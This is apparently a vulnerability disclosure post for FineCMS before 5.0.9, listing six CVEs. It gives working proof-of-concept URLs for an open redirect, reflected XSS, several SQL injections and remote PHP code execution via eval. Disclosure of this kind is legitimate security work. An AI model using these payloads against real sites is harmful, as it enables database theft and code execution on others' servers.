FineCMS multi vulnerablity before v5.0.9

somedays ago, we found many vulerablity in FineCMS v5.0.9, contains remote php code execution、some sql injection、URL Redirector Abuse and Cross Site Scripting.

  • CVE-2017-11581
  • CVE-2017-11582
  • CVE-2017-11583
  • CVE-2017-11584
  • CVE-2017-11585
  • CVE-2017-11586

URL Redirector Abuse

Technical Description:

file /finecms/dayrui/controllers/Weixin.php function sync without any limit and can redirect any url.

Poc

view website and login

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http://finecms.com/index.php?c=weixin&m=sync&url=http://www.baidu.com

image.png-73.3kB

Reflected XSS

Technical Description:

file /finecms/dayrui/controllers/admin/Login.php line17~line57

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$this->template->assign('username', $this->input->post('username', TRUE));
$this->template->display('login.html');

when we input error username and password to login, the xssclean only filter the username startwith '<', if we use dom xss,it will output without any validated, sanitised or output encoded.

PoC

view website admin pages and login use username

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" onmousemove=alert`1` a="1

when login fail and mousermove the input field.

image.png-48.2kB

api.php Reflected XSS

Technical Description:

file /finecms/dayrui/controllers/api.php line145-165 data2 function

image.png-182.3kB

the function parameter output into pages without any validated, sanitised or output encoded when function not exist.

PoC

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http://finecms.com/index.php?c=api&m=data2&function=<script>alert(1)</script>p&format=php

image.png-45.9kB

SQL injection in action=related catid parameter

Technical Description:

file /finecms/dayrui/libraries/Template.php function list_tag action=related, the catid parameter split by ',' and insert into sql query without any validated, sanitised, we can use it get all of the database.

PoC

view the website and get the SYS_KEY from cooke

and payload is

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http://finecms.com/index.php?
c=api&m=data2&auth={md5(SYS_KEY)}&param=action=related%20module=news%20tag=1,2%20catid=1,12))%0aand%0a0%0aunion%0aselect%0a*%0afro
m(((((((((((((((((((select(user()))a)join(select(2))b)join(select(3))c)joi
n(select(4))d)join(select(5))e)join(select(6))f)join(select(7))g)join(sele
ct(8))h)join(select(9))i)join(select(10))j)join(select(11))k)join(select(1
2))l)join(select(13))m)join(select(14))n)join(select(15))o)join(select(16)
)p)join(select(17))q)join(select(18))x)%23

image.png-65.2kB

SQL injection after limit via $system[num] parameter

Technical Description:

file /finecms/dayrui/libraries/Template.php function list_tag action=tags and action=related, the $system['num'] parameter insert into sql query without any validated, sanitised.

Only 5.0.0<mysql<5.6.6 we can use analyse() to sql injection get data.

PoC

view the website and get the SYS_KEY from cooke

and payload is

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http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=related%2
0catid=1%20tag=1,2%20num=1/**/PROCEDURE/**/analyse(extractvalue(rand(),con
cat(0x3a,version())),1)
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=tags%2
0catid=1%20tag=1,2%20num=1/**/PROCEDURE/**/analyse(extractvalue(rand(),con
cat(0x3a,version())),1)

SQL injection via $system[field] parameter

Technical Description:

file /finecms/dayrui/libraries/Template.php function list_tag action=relatedaction=formaction=memberaction=module the $system['field'] parameter insert into sql query without any validated, sanitised.

PoC

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http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e&param=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23

image.png-40.6kB

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http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=form%20fo
rm=1%20field=1%0aunion%0aselect%0auser()%23

image.png-42.4kB

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http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=member%20
field=1%0aunion%0aselect%0auser()%23

image.png-30.6kB

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http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e&param=action=module%20form=1%20module=news%20field=1%0aunion%0aselect%0auser()%23

image.png-34.3kB

remote php code execution

Technical Description:

file /finecms/dayrui/libraries/Template.php function list_tag action=cache, we can bypass some filter and insert parameter $_param into eval function and execute php code.

PoC

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http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e&param=action=cache%20name=MEMBER.1'];phpinfo();$a=['1

image.png-68kB

文章目录
  1. 1. URL Redirector Abuse
    1. 1.1. Technical Description:
    2. 1.2. Poc
  2. 2. Reflected XSS
    1. 2.1. Technical Description:
    2. 2.2. PoC
  3. 3. api.php Reflected XSS
    1. 3.1. Technical Description:
    2. 3.2. PoC
  4. 4. SQL injection in action=related catid parameter
    1. 4.1. Technical Description:
    2. 4.2. PoC
  5. 5. SQL injection after limit via $system[num] parameter
    1. 5.1. Technical Description:
    2. 5.2. PoC
  6. 6. SQL injection via $system[field] parameter
    1. 6.1. Technical Description:
    2. 6.2. PoC
  7. 7. remote php code execution
    1. 7.1. Technical Description:
    2. 7.2. PoC